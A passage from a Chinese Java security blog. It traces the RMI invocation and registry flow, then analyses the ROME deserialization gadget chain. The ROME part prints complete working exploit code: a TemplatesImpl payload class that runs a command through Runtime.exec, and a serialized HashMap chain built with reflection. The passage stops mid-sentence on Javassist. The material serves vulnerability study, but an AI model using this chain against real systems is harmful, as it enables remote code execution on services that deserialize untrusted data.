cl.getMethod(method.getName(), method.getParameterTypes()); } catch (NoSuchMethodException nsme) { throw (IllegalArgumentException) new IllegalArgumentException().initCause(nsme); } Class<?> thrownType = e.getClass(); for (Class<?> declaredType : method.getExceptionTypes()) { if (declaredType.isAssignableFrom(thrownType)) { throw e; } } e = new UnexpectedException("unexpected exception", e); } throw e; }} 实际上就是调用了 ref 的 invoke 方法来处理。ref 在定义中是 RemoteRef 类型,实际调用时调用的是 RemoteRef 的子类 UnicastRef 的 invoke 方法。 UnicastRef 的 invoke 方法: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception { if (clientRefLog.isLoggable(Log.VERBOSE)) { clientRefLog.log(Log.VERBOSE, "method: " + var2); } if (clientCallLog.isLoggable(Log.VERBOSE)) { this.logClientCall(var1, var2); } Connection var6 = this.ref.getChannel().newConnection(); StreamRemoteCall var7 = null; boolean var8 = true; boolean var9 = false; Object var13; try { if (clientRefLog.isLoggable(Log.VERBOSE)) { clientRefLog.log(Log.VERBOSE, "opnum = " + var4); } var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4); Object var11; try { ObjectOutput var10 = var7.getOutputStream(); this.marshalCustomCallData(var10); var11 = var2.getParameterTypes(); for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) { marshalValue((Class)((Object[])var11)[var12], var3[var12], var10); } } catch (IOException var41) { clientRefLog.log(Log.BRIEF, "IOException marshalling arguments: ", var41); throw new MarshalException("error marshalling arguments", var41); } var7.executeCall(); try { Class var49 = var2.getReturnType(); if (var49 == Void.TYPE) { var11 = null; return var11; } var11 = var7.getInputStream(); Object var50 = unmarshalValue(var49, (ObjectInput)var11); var9 = true; clientRefLog.log(Log.BRIEF, "free connection (reuse = true)"); this.ref.getChannel().free(var6, true); var13 = var50; } catch (IOException var42) { clientRefLog.log(Log.BRIEF, "IOException unmarshalling return: ", var42); throw new UnmarshalException("error unmarshalling return", var42); } catch (ClassNotFoundException var43) { clientRefLog.log(Log.BRIEF, "ClassNotFoundException unmarshalling return: ", var43); throw new UnmarshalException("error unmarshalling return", var43); } finally { try { var7.done(); } catch (IOException var40) { var8 = false; } } } catch (RuntimeException var45) { if (var7 == null || ((StreamRemoteCall)var7).getServerException() != var45) { var8 = false; } throw var45; } catch (RemoteException var46) { var8 = false; throw var46; } catch (Error var47) { var8 = false; throw var47; } finally { if (!var9) { if (clientRefLog.isLoggable(Log.BRIEF)) { clientRefLog.log(Log.BRIEF, "free connection (reuse = " + var8 + ")"); } this.ref.getChannel().free(var6, var8); } } return var13;} 总的来说,UnicastRef 的 invoke 方法实现了一个远程方法调用(RMI)的核心逻辑。 它通过 this.ref.getChannel().newConnection() 创建一个新的连接,使用 StreamRemoteCall 创建一个新的远程调用对象,将方法参数序列化并发送给远程对象,执行执行远程方法调用后,根据方法的返回类型反序列化返回值,并返回给调用者。 其中,反序列化在 UnicastRef 的 unmarshalValue 方法中实现: 12345678910111213141516171819202122232425protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException { if (var0.isPrimitive()) { if (var0 == Integer.TYPE) { return var1.readInt(); } else if (var0 == Boolean.TYPE) { return var1.readBoolean(); } else if (var0 == Byte.TYPE) { return var1.readByte(); } else if (var0 == Character.TYPE) { return var1.readChar(); } else if (var0 == Short.TYPE) { return var1.readShort(); } else if (var0 == Long.TYPE) { return var1.readLong(); } else if (var0 == Float.TYPE) { return var1.readFloat(); } else if (var0 == Double.TYPE) { return var1.readDouble(); } else { throw new Error("Unrecognized primitive type: " + var0); } } else { return var1.readObject(); }} 调用栈总结1234RemoteObjectInvocationHandler#invoke(Object, Method, Object[])RemoteObjectInvocationHandler#invokeRemoteMethod(Object, Method, Object[])UnicastRef#invoke(Remote, Method, Object[], long)UnicastRef#unmarshalValue(Class<?>, ObjectInput) # 反序列化 注册中心创建 - LocateRegistry#createRegistryLocateRegistry 的 createRegistry 方法: 这里实际是调用 RegistryImpl 的构造方法 new 了一个 RegistryImpl 对象。 RegistryImpl 的构造方法: 这边新建了一个 LiveRef 对象,将这个 LiveRef 对象作为参数又新建了 UnicastServerRef 对象,最后调用 setup 进行配置。 跟进 RegistryImpl 的 setup 方法: 这边依旧是调用了 UnicastServerRef 的 exportObject 方法来导出远程对象,只不过这次 export 的是 RegistryImpl 这个对象。 跟进 UnicastServerRef 的 exportObject 方法: 再进入 Util 的 createProxy 方法: 这里在创建代理对象之前其实有一个判断: 1var2 || !ignoreStubClasses && stubClassExists(var3) Java 中 && 运算符的优先级高于 || 运算符,即 && 会先计算,因此这个判断等同于: 1var2 || (!ignoreStubClasses && stubClassExists(var3)) 所以大概意思就是如果 stub 存在且不忽视,或者强制使用,那么直接创建 Stub 。 具体来看 Util 的 stubClassExists 方法: 这里其实就是在判断传入的 var0 是否在本地有一个存根类,即 var0 的名称后面加上 “_Stub” 的类。梳理整个逻辑,会发现 var0 的值是 getRemoteClass(RegistryImpl.getClass()),最终,var0.getName() 获取到的值是 sun.rmi.registry.RegistryImpl : 这里返回 true ,就说明存在 RegistryImpl_Stub 这个类,搜一下其实也搜得到: RegistryImpl_Stub 实现了 bind/list/lookup/rebind/unbind 等 Registry 定义的方法,其中用一些序列化方法来实现: 好的,回到先前的判断 var2 || !ignoreStubClasses && stubClassExists(var3) ,这个判断的结果应当为真,并执行 createStub 方法: createStub 方法的执行结果其实就是返回了 RegistryImpl_Stub 对象: 那么现在 Util.createProxy 分析完了,回到 UnicastServerRef 的 exportObject 方法,接下来将会调用 setSkeleton 方法: UnicastServerRef 的 setSkeleton 方法判断如果 withoutSkeletons 不存在这个 key ,则调用 Util.createSkeleton 创建 Skeleton : Util 的 createSkeleton 方法: 这里的参数 var0 是一个 RegistryImpl 对象,所以 var1 依旧是 getRemoteClass(RegistryImpl.getClass()) ,这个方法最终返回一个 RegistryImpl_Skel 对象。 RegistryImpl_Skel 对象方法不多,主要方法是 dispatch : 其中主要的逻辑就是根据不同的情况调用不同的方法,比如 rebind/unbind 之类。 调用栈总结12345678LocateRegistry#createRegistry(int)RegistryImpl#RegistryImpl(int)RegistryImpl#setup(UnicastServerRef)UnicastServerRef#exportObject(Remote, Object, boolean)\t-> Util#createProxy(Class<?>, RemoteRef, boolean) Util#createStub(Class<?>, RemoteRef) # 返回 RegistryImpl_Stub 对象\t-> UnicastServerRef#setSkeleton(Remote) Util#createSkeleton(Remote) # 返回 RegistryImpl_Skel 对象 服务端获取 Registry 代理对象rebind 或者 bind 都可以,这里用 bind 和 rebind 的区别在于:bind 方法用于将一个远程对象绑定到指定的名称上,如果该名称已经被绑定过,则会抛出 AlreadyBoundException 异常。rebind 方法用于将一个远程对象绑定到指定的名称上。如果该名称已经被绑定过,则会重新绑定,即覆盖旧的绑定,而不会抛出异常。 情况一:Server 和 Registry 在同一端当 Server 和 Registry 在同一端时,Server 端通过本地调用获取 Registry 对象。此时,Server 端获取到的 Registry 对象是 RegistryImpl 类的实例,这是 RMI 的默认实现类。服务器大多数情况下与注册中心 Registry 在同一端。 这里的 registry 就是 RegistryImpl 对象: 于是跟进 RegistryImpl 的 rebind 方法: 这里直接将远程对象放入了 RegistryImpl 内部的 HashTable 集合中。 情况二:Server 和 Registry 在不同端当 Server 和 Registry 在不同端时,Server 端通过网络获取 Registry 对象。此时,Server 端获取到的 Registry 对象是 RegistryImpl_Stub 类的实例。这个类是 RMI 生成的代理类,代表远程的注册表对象。 下面给出在此情况下服务器获取 Registry 对象的代码: 123456String registryHost = "remote-registry-host"; // 远程 Registry 主机名或 IPint registryPort = 1099; // 远程 Registry 端口号// 在远程 Registry 上绑定服务Registry registry = LocateRegistry.getRegistry(registryHost, registryPort);registry.rebind("Hello", obj); 可以看到此时获取的是 RegistryImpl_Stub 对象: 跟进 RegistryImpl_Stub 的 rebind 方法: 调试起来可以看到:这里的 super.ref 是 UnicastRef 对象,接下来会接连调用 UnicastRef 的 newCall 方法、invoke 方法和 done 方法。 UnicastRef 的 newCall 方法返回一个 RemoteCall 对象,用来给 invoke 方法提供参数。 跟进 UnicastRef 的 newCall 方法: 可以看到,这里的操作是建立通信,然后 new 了一个 StreamRemoteCall 对象并将其返回,且其中还调用了 UnicastRef 的 marshalCustomCallData 方法。 但奇怪的是 marshalCustomCallData 方法并没有进行任何操作: 接下来看 UnicastRef 的 invoke 方法: 执行的是 RemoteCall 的实现类 StreamRemoteCall 的 executeCall 方法。 总的来说,就是服务端通过调用 RegistryImpl_Stub 的 rebind 方法,将参数序列化发送到 Registry 端,来完成将服务接口绑定到注册表的操作。 Registry 端处理逻辑当 Server 和 Registry 在不同端时,在 Registry 端,由 sun.rmi.transport.tcp.TCPTransport#handleMessages 来处理请求,调用 serviceCall 方法处理: 这里实际调用的是 Transport 的 serviceCall 方法,跟进 Transport 的 serviceCall 方法: disp 获取到的是 UnicastServerRef 对象,这里会调用 UnicastServerRef 的 dispatch 方法,跟进 UnicastServerRef 的 dispatch 方法: dispatch 方法又调用 UnicastServerRef 自身的 oldDispatch 方法,跟进 UnicastServerRef 的 oldDispatch 方法: 最终调用 RegistryImpl_Skel 的 dispatch 方法,来看看 RegistryImpl_Skel 的 dispatch 方法: RegistryImpl_Skel 的 dispatch 方法根据流中写入的不同的操作类型分发给不同的方法处理,例如 0 代表着 bind 方法,则从流中读取对应的内容,反序列化,然后调用 RegistryImpl 的 bind 方法进行绑定。 我用的是 rebind ,对应的是 3 : 以上就是 Registry 端的处理逻辑。 Client 端服务调用客户端获取 Registry 对象的方法与服务端远程获取 Registry 的方法一样: 1Registry registry = LocateRegistry.getRegistry("localhost", 1099); 客户端获取到的也是 RegistryImpl_Stub 对象: 客户端调用 RegistryImpl_Stub 的 lookup 方法,跟进 RegistryImpl_Stub 的 lookup 方法: 与 rebind 方法相同,调用 UnicastRef 的 newCall、invoke、done 方法建立通信,将参数序列化发送到 Registry 端,再将返回结果反序列化。 同样来关注 Registry 端的处理逻辑,与 Server 端调用 rebind 方法时 Registry 端的处理逻辑相同,最终都是调用 RegistryImpl_Skel 的 dispatch 方法来处理。 lookup 方法对应的是 RegistryImpl_Skel 的 dispatch 方法中的 2 号处理逻辑: 最后客户端通过 lookup 方法获取到服务的代理对象: 代理对象的任意方法被调用,都会触发 RemoteObjectInvocationHandler 的 invoke 方法。前面分析过了, RemoteObjectInvocationHandler 的 invoke 方法最终其实是调用 RemoteRef 的实现类 UnicastRef 的 invoke 方法。UnicastRef 中保存了服务端的地址和端口信息,这些信息是在服务端导出远程对象时设置的。因此 Client 端直接与 Server 端进行通信。 Server 端由 UnicastServerRef 的 dispatch 方法来处理客户端的请求,然后将结果序列化给 Client 端,Client 端拿到结果反序列化,完成整个调用的过程。 总结这里引用素十八师傅的原图: 参考文章RMI RMI 远程调用 RMI 原理浅析以及调用流程 素十八 - Java RMI 攻击由浅入深","categories":["Java 安全"]},{"title":"漏洞篇 - Java 反序列化之 Rome 链","path":"/2024/06/07/Java 安全/漏洞篇-Rome利用链分析/","content":"ROME 是一个强大的 Java 库,用于解析和生成各种格式的 RSS 和 Atom feeds 。它兼容多种版本的 RSS(包括 RSS 0.90、0.91、0.92、0.93、0.94、1.0 和 2.0 )和 Atom(包括 0.3 和 1.0 )。ROME 提供了一个统一的 API ,简化了处理不同 feed 格式的复杂性。 前置知识概览Rome 介绍ROME 是一个强大的 Java 库,用于解析和生成各种格式的 RSS 和 Atom feeds 。它兼容多种版本的 RSS(包括 RSS 0.90、0.91、0.92、0.93、0.94、1.0 和 2.0 )和 Atom(包括 0.3 和 1.0 )。ROME 提供了一个统一的 API ,简化了处理不同 feed 格式的复杂性。 什么是 feed在 Web 技术中,” feed “ 指的是一种特定的格式,应用于定期更新和发布内容的文件。它允许用户通过订阅机制获取最新的内容更新。Feed 通常用于博客、新闻网站、播客和其他频繁更新的网站,以便用户可以集中阅读和获取最新的内容,而无需逐一访问这些网站。 Feed 的工作原理 发布:网站创建和发布 feed 文件,这个文件包含最新的内容更新。 订阅:用户通过 feed 阅读器订阅该 feed 。阅读器会定期检查 feed 文件的更新。 通知:当 feed 文件更新时,阅读器会下载新的内容并通知用户。 Feed 的常见格式 RSS (Really Simple Syndication):RSS 是一种 XML 格式,用于描述网站内容的更新。RSS 最初由 Netscape 在 1999 年开发,目的是方便内容的聚合和订阅。RSS 有多个版本,最常用的是 RSS 2.0 。 Atom:Atom 是一种 XML 格式,用于描述和同步 Web 内容的更新。它是由 IETF(互联网工程任务组)在 2005 年发布的标准,比 RSS 稍晚推出,目的是解决 RSS 的一些局限性。 环境搭建我个人本次实验环境为: JDK = 8u71 rome = 1.0 导入 rome 依赖: 12345<dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version></dependency> ysoserial 利用链分析Rome 链的核心在于 ToStringBean#toString(String) 方法会调用一个类的所有公共 getter 和 setter 方法,于是我们让他来调用 TemplatesImpl#getOutputProperties() 方法。 TemplatesImpl#getOutputProperties()TemplatesImpl 的 getOutputProperties() 方法会调用 newTransformer() ,进而造成类加载: 12345678public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; }} 之后的利用链就是 TemplatesImpl 的常规用法: 1234TemplatesImpl#newTransformer()\tTemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass() BeanIntrospector#getPDs(Class)BeanIntrospector 的 getPDs 方法会利用反射获取一个类的所有公共 getter 和 setter 方法: 12345678910private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {\t// 利用反射获取传入的 Class 对象的所有 public 方法 Method[] methods = klass.getMethods(); Map getters = getPDs(methods,false); Map setters = getPDs(methods,true); List pds = merge(getters,setters); PropertyDescriptor[] array = new PropertyDescriptor[pds.size()]; pds.toArray(array); return array;} 这里选择传入 Templates.class 作为参数,原因是 Templates 接口中只定义了两个方法,且包含我们所需要的 getOutputProperties(),可以排除大量干扰。 BeanIntrospector#getPropertyDescriptors(Class)BeanIntrospector 的 getPropertyDescriptors 方法调用了 getPDs 方法: 123456789public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException { PropertyDescriptor[] descriptors = (PropertyDescriptor[]) _introspected.get(klass); if (descriptors==null) { // 在这里调用 descriptors = getPDs(klass); _introspected.put(klass,descriptors); } return descriptors;} 同理,这里应当将 Templates.class 作为参数 klass 的值。 ToStringBean#toString(String)ToStringBean 的有参 toString 方法调用了 BeanIntrospector 的 getPropertyDescriptors 方法: 123456789101112131415161718192021222324private String toString(String prefix) { StringBuffer sb = new StringBuffer(128); try { // 在这里调用 PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass); if (pds!=null) { for (int i=0;i<pds.length;i++) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod!=null && // ensure it has a getter method pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods pReadMethod.getParameterTypes().length==0) { // filter getter methods that take parameters // 在这里执行 getPropertyDescriptors 方法 Object value = pReadMethod.invoke(_obj,NO_PARAMS); printProperty(sb,prefix+"."+pName,value); } } } } catch (Exception ex) { sb.append(" EXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+" "); } return sb.toString();} 那么这里应当将 _beanClass 设置成 Templates.class 。_beanClass 是 ToStringBean 中定义的属性,在构造方法中被赋值。 Templates 中的两个方法只有 getOutputProperties() 是 getter 方法,所以经过判断后只有 getOutputProperties() 会被执行: 1Object value = pReadMethod.invoke(_obj,NO_PARAMS); invoke 方法的第一个参数是执行此方法的对象,所以要将 _obj 设置成 TemplatesImpl 对象,同样可以在构造方法中赋值。 ToStringBean#toString()ToStringBean 的无参 toString 方法调用了有参 toString 方法: 123456789101112131415public String toString() { Stack stack = (Stack) PREFIX_TL.get(); String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek()); String prefix; if (tsInfo==null) { String className = _obj.getClass().getName(); prefix = className.substring(className.lastIndexOf(".")+1); } else { prefix = tsInfo[0]; tsInfo[1] = prefix; } // 在这里调用 return toString(prefix);} 到这里可以先写个小程序验证一下。 写个小程序验证一下12345678910111213141516171819202122232425262728293031323334import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class ROME_toString { public static void main(String[] args) throws Exception { // 将恶意类的字节码文件存入字节数组 byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\Rome利用链分析\\\\RomeTest\\\\target\\\\classes\\\\Eval.class")); // 新建利用链 TemplatesImpl 对象 TemplatesImpl templatesImpl = new TemplatesImpl(); setValue(templatesImpl,"_name","aaa"); setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); // 在构造方法中将 _beanClass 赋值成 Templates.class, _obj 赋值成 TemplatesImpl 对象 ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl); // 利用 toString 命令执行 toStringBean.toString(); } // 反射设置属性值的过程可以抽离成一个方法 public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }} 其中 Eval 类内容如下: 12345678910111213141516171819202122232425import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Eval extends AbstractTranslet { public Eval() { } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { throw new RuntimeException(var1); } }} 运行后成功弹出计算器,验证完成。 EqualsBean#beanHashCode()EqualsBean 的 beanHashCode() 方法会调用其成员属性 _obj 的 toString() 方法: 123public int beanHashCode() { return _obj.toString().hashCode();} 只需要将 _obj 设置成 ToStringBean 对象即可。 ObjectBean#hashCode()ObjectBean 的 hashCode() 方法会调用其成员属性 _equalsBean 的 beanHashCode() 方法: 123public int hashCode() { return _equalsBean.beanHashCode();} _equalsBean 在其构造方法中是这样被赋值的: 12345public ObjectBean(Class beanClass,Object obj,Set ignoreProperties) { _equalsBean = new EqualsBean(beanClass,obj); _toStringBean = new ToStringBean(beanClass,obj); _cloneableBean = new CloneableBean(obj,ignoreProperties);} 可以看到这里是 new 了一个 EqualsBean 对象。 HashMap#hash(Object)HashMap 的 hash 方法会调用 key 的 hashCode() 方法: 1234static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);} HashMap#readObject(java.io.ObjectInputStream)入口,经典永流传。 1234567891011121314151617181920212223242526272829303132333435363738394041private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); // 在这里调用 hash 方法 putVal(hash(key), key, value, false, false); } }} 至此,这条链子就剖析完成了。 调用栈总结 HashMap#readObject(java.io.ObjectInputStream) HashMap#hash(Object) ObjectBean#hashCode() EqualsBean#beanHashCode() ToStringBean#toString() ToStringBean#toString(String) BeanIntrospector#getPropertyDescriptors(Class) BeanIntrospector#getPDs(Class) TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass() 构造 payload123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class payload { public static void main(String[] args) throws Exception { // 将恶意类的字节码文件存入字节数组 byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\Rome利用链分析\\\\RomeTest\\\\target\\\\classes\\\\Eval.class")); // 新建利用链 TemplatesImpl 对象 TemplatesImpl templatesImpl = new TemplatesImpl(); setValue(templatesImpl,"_name","aaa"); setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl); // 利用 EqualsBean 的 beanHashCode() 方法调用 ToStringBean 的 toString() 方法 EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); // 利用 ObjectBean 的 hashCode() 方法调用 EqualsBean 的 beanHashCode() 方法 // 为防止调用 put 方法时命令执行,先传入一个普通的 ObjectBean HashMap hashMap0 = new HashMap(); ObjectBean objectBean = new ObjectBean(HashMap.class, hashMap0); // HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法 HashMap hashMap = new HashMap(); hashMap.put(objectBean, "test"); // 反射修改 ObjectBean 的属性值 setValue(objectBean, "_equalsBean", equalsBean); // 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap); oos.flush(); oos.close(); // 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } // 反射设置属性值的过程可以抽离成一个方法 public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }} 反射修改 HashMap 的 key 值以优化 payload在调用 HashMap 的 put 方法时,总是会因为 put 方法要调用 putVal 方法或者 hash 而导致提前命令执行,是否可以通过反射修改 HashMap 的 key 值呢?枫の师傅的文章中给出了解决方案。 HashMap 的 put 方法: 123public V put(K key, V value) { return putVal(hash(key), key, value, false, true);} HashMap 的 putVal 方法: 123456789101112131415161718192021222324252627282930313233343536373839404142final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { Node<K,V>[] tab; Node<K,V> p; int n, i; if ((tab = table) == null || (n = tab.length) == 0) n = (tab = resize()).length; if ((p = tab[i = (n - 1) & hash]) == null) tab[i] = newNode(hash, key, value, null); else { Node<K,V> e; K k; if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k)))) e = p; else if (p instanceof TreeNode) e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value); else { for (int binCount = 0; ; ++binCount) { if ((e = p.next) == null) { p.next = newNode(hash, key, value, null); if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st treeifyBin(tab, hash); break; } if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) break; p = e; } } if (e != null) { // existing mapping for key V oldValue = e.value; if (!onlyIfAbsent || oldValue == null) e.value = value; afterNodeAccess(e); return oldValue; } } ++modCount; if (++size > threshold) resize(); afterNodeInsertion(evict); return null;} 这里用了一些算法,看不懂没关系,总之是进行了一个键值对的存储,这个键值对最终被插入到 table 数组的一个位置中,具体位置取决于计算得到的索引 i 。 table 是 HashMap 的一个属性,来看它的定义: 1transient Node<K,V>[] table; 这个 Node<K,V> 是 HashMap 中定义的一个静态内部类: 也就是说,我们调用 put 方法存进来的键值对最终是以 Node<K,V> 对象的形式存放在数组里面的。 那么,我们可以用以下方式来修改 key : // 新建 HashMap 对象,设置初始容量 HashMap<Object,Object> hashMap = new HashMap<>(1); // 先存入无关数据 hashMap.put("test1", "test2"); // 反射获取 table 属性 Object[] table= (Object[]) getValue(hashMap,"table"); // 获取 table 数组中的 Node 对象 Object entry = table[1]; // 反射修改 Node 对象的 key 属性值 setValue(entry,"key",equalsBean); 其中 getValue 方法内容如下: public static Object getValue(Object obj, String name) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); return field.get(obj); } 在此基础上,我们可以优化上面的 payload : 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class payload { public static void main(String[] args) throws Exception { // 将恶意类的字节码文件存入字节数组 byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\Rome利用链分析\\\\RomeTest\\\\target\\\\classes\\\\Eval.class")); // 新建利用链 TemplatesImpl 对象 TemplatesImpl templatesImpl = new TemplatesImpl(); setValue(templatesImpl,"_name","aaa"); setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl); // 利用 EqualsBean 的 beanHashCode() 方法调用 ToStringBean 的 toString() 方法 EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); // 利用 ObjectBean 的 hashCode() 方法调用 EqualsBean 的 beanHashCode() 方法 ObjectBean objectBean = new ObjectBean(EqualsBean.class, equalsBean); // HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法 HashMap hashMap = new HashMap(1); // 先存入无关数据 hashMap.put("test1", "test2"); // 反射获取 table 属性 Object[] table= (Object[]) getValue(hashMap,"table"); // 获取 table 数组中的 Node 对象 Object entry = table[1]; // 反射修改 Node 对象的 key 属性值 setValue(entry,"key",objectBean); // 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap); oos.flush(); oos.close(); // 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } // 反射设置属性值的过程可以抽离成一个方法 public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static Object getValue(Object obj, String name) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); return field.get(obj); }} 不过值得注意的是,这里获取到的 table 数组其中存储的 Node<K,V> 对象不一定是按顺序来的,不想看算法的话直接调试来看位置: 可以看到,这里键值对是存入了 table 数组中下标为 1 的位置,而且我们初始化时设定容量为 1 ,但是实际的 table 大小为 2 。所以这里建议不管有没有设置初始容量,都要具体情况具体分析,调试起来确定下标后再修改。 使用 Javassist 缩短字节码文件在某些情况下,网站可能会对反序列化数据的长度有一定限制,所以有必要通过一些手段来缩短 Payload 。 有关 Javassist 的知识参见:基础篇 - Javassist 使用指南 前面我们用来被加载的 Eval 类是这样的: 123456789101112131415161718192021public class Eval extends AbstractTranslet { // 恶意代码放在静态代码块中 static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } // 需要重写父类的两个方法 @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }} 由于 TemplatesImpl#defineTransletClasses() 方法会判断被加载的类是否继承了 AbstractTranslet ,如果没有就抛出异常,所以 Eval 类被迫继承了 AbstractTranslet ,又由于 AbstractTranslet 是个抽象类,继承了它就要重写它的一些方法,否则编译器报错。但其实这两个方法根本就没有用,造成了冗余。 可以用 javassist 